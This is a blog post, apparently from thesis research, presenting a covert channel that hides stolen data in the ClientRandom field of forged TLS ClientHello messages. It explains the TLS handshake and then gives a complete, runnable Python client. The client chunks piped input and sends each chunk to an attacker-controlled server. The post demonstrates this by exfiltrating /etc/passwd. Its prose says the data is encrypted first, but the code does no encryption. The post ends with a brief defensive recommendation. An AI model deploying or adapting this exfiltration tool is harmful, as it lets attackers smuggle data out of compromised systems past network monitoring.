Hello DarkneSSL, My Old Friend!

This time I've come to talk to you about data exfiltration through TLS messages. I am describing a technique to hide data from traffic analysis by embedding it in ClientHello messages, specifically in the ClientRandom value.

This post is based on the research towards my bachelor thesis under the topic of Advanced Data Exfiltration.

Why TLS ClientHello?

As most web services serve their content encrypted, TLS is one of the most popular protocols seen in the analysis of regular web traffic.

Due to its prevalence, it is desirable to hide exfiltration data in common protocols like TLS. TLS ClientHello messages are sent all the time. In fact, encrypted data cannot be distinguished from pseudorandomly generated data. Thus, encrypted exfiltration data can be passed as the ClientRandom in ClientHello messages.

The TLS Handshake

Before jumping into the description of the actual covert channel and showing some code, I would like to take the time to introduce the TLS protocol with emphasis on the handshake.

TLS is the widely adopted standard of implementing transport-level encryption. The protocol brings confidentiality, integrity, and (server) authentication to a variety of Internet traffic, including web-browsing through HTTPS.

To establish a secure channel, first, some integral values have to be agreed upon between the client and the server. The TLS handshakes aims to negotiate these parameters.

The image below is taken from the RFC5246, which acts as the standard for TLS Version 1.2.
While TLS Version 1.3 aims to simplify the handshake by sending fewer messages than previous version, the method still applies. As you will find out as you read on, the technique illustrated here only uses the ClientHello message.

TLS 1.2 Handshake as illustrated in RFC5246

As the figure displays, the client initiates the TLS connection by sending a ClientHello message. The server then responds with its ServerHello message. The handshake goes on, until security parameters are fully negotiated.
If you want to take a closer look at the handshake and possibly investigate every byte, I recommend this site. The full explanation of the protocol can be found in RFC5246.

The ClientHello

In a standard TLS1.2 connection, the ClientHello is the first message sent from the client to the server. Its purpose is the initiation of the TLS session.

The message already contains some values that will be reused in the negotiation of security parameters.

One of these values is the struct Random, the so-called ClientRandom.
The value is a part of the premaster_secret, computed at a later stage of the handshake, and used to derive the actual encryption key.

struct {
    ProtocolVersion client_version;
    Random random;
    SessionID session_id;
    CipherSuite cipher_suites<2..2^16-2>;
    CompressionMethod compression_methods<1..2^8-1>;
    select (extensions_present) {
        case false:
            struct {};
        case true:
            Extension extensions<0..2^16-1>;
    };
} ClientHello;

The ClientRandom is 32-bytes long and initially contained a 4-bytes long Unix timestamp, followed by 28 bytes of a pseudorandom number generated by the client.

struct {
    uint32 gmt_unix_time;
    opaque random_bytes[28];
} Random;

Because the timestamp allows for fingerprinting connections, security researchers recommend not to send the correct timestamp but instead use 32 random bytes - to the advantage of this method.
Due to this, the bandwidth of this method is 32 bytes of data after encryption per TLS message.

In this field, we shall embed the exfiltration data.

Encoding and Exfiltrating the Data

Finally, let us transfer the idea from the theory above into practice.
As a proof of concept, I've chosen to implement the method in Python using standard Python modules.

Generally, the exfiltration process is split into two communicating parties, as with a standard TLS session. On one end, there is a compromised machine that acts as the source of data exfiltration. Attackers run a client on this compromised machine that somehow encodes, encrypts, and transforms data so that it can be received and understood by a server under attackers' control. In the case of this method, the attackers' server must be a manipulated TLS server that extracts the ClientRandom from all requests and applies the backward transformation to recover the original data.

Here, only the client shall be described in detail.
First, the input data must be padded and chunked into parts of 32 Bytes.
In Python, we can make use of generators to iteratively yield these chunks:

def pad(data):
    bin = data
    if len(data) % 32:
        bin += b'\x00' * (32 - (len(data) % 32))
        assert (len(bin) % 32 == 0)
    return bin

def chunk(data):
    for i in range(0, len(data), 32):
        yield data[i:i + 32]

After chunking the data into 32 Bytes long parts, each of the chunks is embedded as the ClientRandom of one ClientHello message.

CLIENT_VERSION = b'\x03\x02'
def buildClientHelllo(s, Random):
    sessionid = b'\x00'
    CipherSuite = b'\x00\x02' + b'\xc0\x30'
    CompressionMethod = b'\x01' + b'\x00'
    Extensions = b''
    ClientHello = CLIENT_VERSION + Random + sessionid + CipherSuite + CompressionMethod + Extensions

After forging the ClientHello, it is encapsulated in a standard TLS Record as defined per RFC5246. The bytes, which certainly look a bit arbitrary here, are actually the exact values that define properties of a TLS record. The code in this snippet constructs a TLS record from its byte values by following the RFC and this nifty site.

Pictures

The four pictures below display the entire process of exfiltrating an example /etc/passwd file.
T

Exfiltration data
An examplary /etc/passwd file to exfiltrate
The file is piped to a custom client, implementing the exfiltration method described in this post, and sent to a manipulated server. The server then echos out the received information. Indeed, it matches.
Data exfiltration
Data is piped on the client and received server-side
The next two images show a traffic analysis of the sent TLS records. As you can see on the following image, the data is indeed embedded as the ClientRandom in a valid TLS ClientHello message.
The Wireshark window in the last image shows the amount of ClientHello messages necessary to transfer this file. The manipulated TLS server has been configured to respond with a fatal alert to all incoming connections.

Data exfiltration
Wireshark analysis of the exfiltration with receiver configured to send TLS alerts
Data exfiltration
Wireshark details of one exfiltration chunk

The Client's source code

Below you will find a Python script that forges TLS ClientHello messages and sends them to the manipulated TLS server. As an explanation, I put annotations in the source code. The same code is available as a gist on GitHub.

import time
import os
import socket
import struct
from sys import stdin, exit

# Server to send the data as ClientRandom to
HOST = "localhost"
PORT = 4443

# value for TLS 1.1
CLIENT_VERSION = b'\x03\x02'


def recv_tls(sock):
    # Receives one TLS Record
    # Returns RecordType and Record
    RecordType = recv_num(sock, 1)
    TLSVersion = recv_num(sock, 2)

    RecordLength = struct.unpack('!H', recv_num(sock, 2))[0]
    Record = recv_num(sock, RecordLength)

    return RecordType, Record


def recv_num(sock, num):
    # Receives and returns num of bytes from socket
    data = bytearray()
    while len(data) < num:
        data += sock.recv(min(4096, num - len(data)))
    assert len(data) == num
    return data


def pad(data):
    # Pad data to be a multiple of 32 bytes
    bin = data
    if len(data) % 32:
        bin += b'\x00' * (32 - (len(data) % 32))
    assert (len(bin) % 32 == 0)
    return bin


def chunk(data):
    # Generator to chunk data into 32 byte long parts
    for i in range(0, len(data), 32):
        yield data[i:i + 32]


def sendRecord(s, data):
    Random = data

    # Session ID length of 0 = no session id provided
    sessionid = b'\x00'

    # 1 CipherSuite ( TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384)
    # as 2 Byte length provided
    CipherSuite = b'\x00\x02' + b'\xc0\x30'

    # Length of CompressionMethod = 1 Byte, null byte for no compression
    CompressionMethod = b'\x01' + b'\x00'
    # No extensions = 0x00
    Extensions = b''

    # Concat ClientHello message
    ClientHello = CLIENT_VERSION + Random + sessionid + CipherSuite + CompressionMethod + Extensions

    # Concat Handshake message with identifier for ClientHello and its length
    Handshake = b'\x01' + len(ClientHello).to_bytes(3, byteorder='big') + ClientHello

    # Concat TLS Record with identifier for Handshake message and its length
    Record = b'\x16\x03\x02' + len(Handshake).to_bytes(2, byteorder='big') + Handshake

    # Finally send the record and wait for response
    s.sendall(Record)
    RecordType, Record = recv_tls(s)


if stdin.isatty():
    print("Pipe something to me. Exiting.")
    exit(1)

# Read data from stdin (pipe)
data = stdin.read()
bin = data.encode()
padded = pad(bin)
chunker = chunk(padded)
for chunk in chunker:
    # for every chunk open TLS session over socket.socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))

    # and send the data as Client Random
    sendRecord(s, chunk)
    s.close()

Security Recommendations

Finally, I recommend applying a TLS Man-in-the-Middle solution to break up all TLS traffic. Doing so will replace any forged TLS ClientHello messages and thus discard all manipulated fields of those.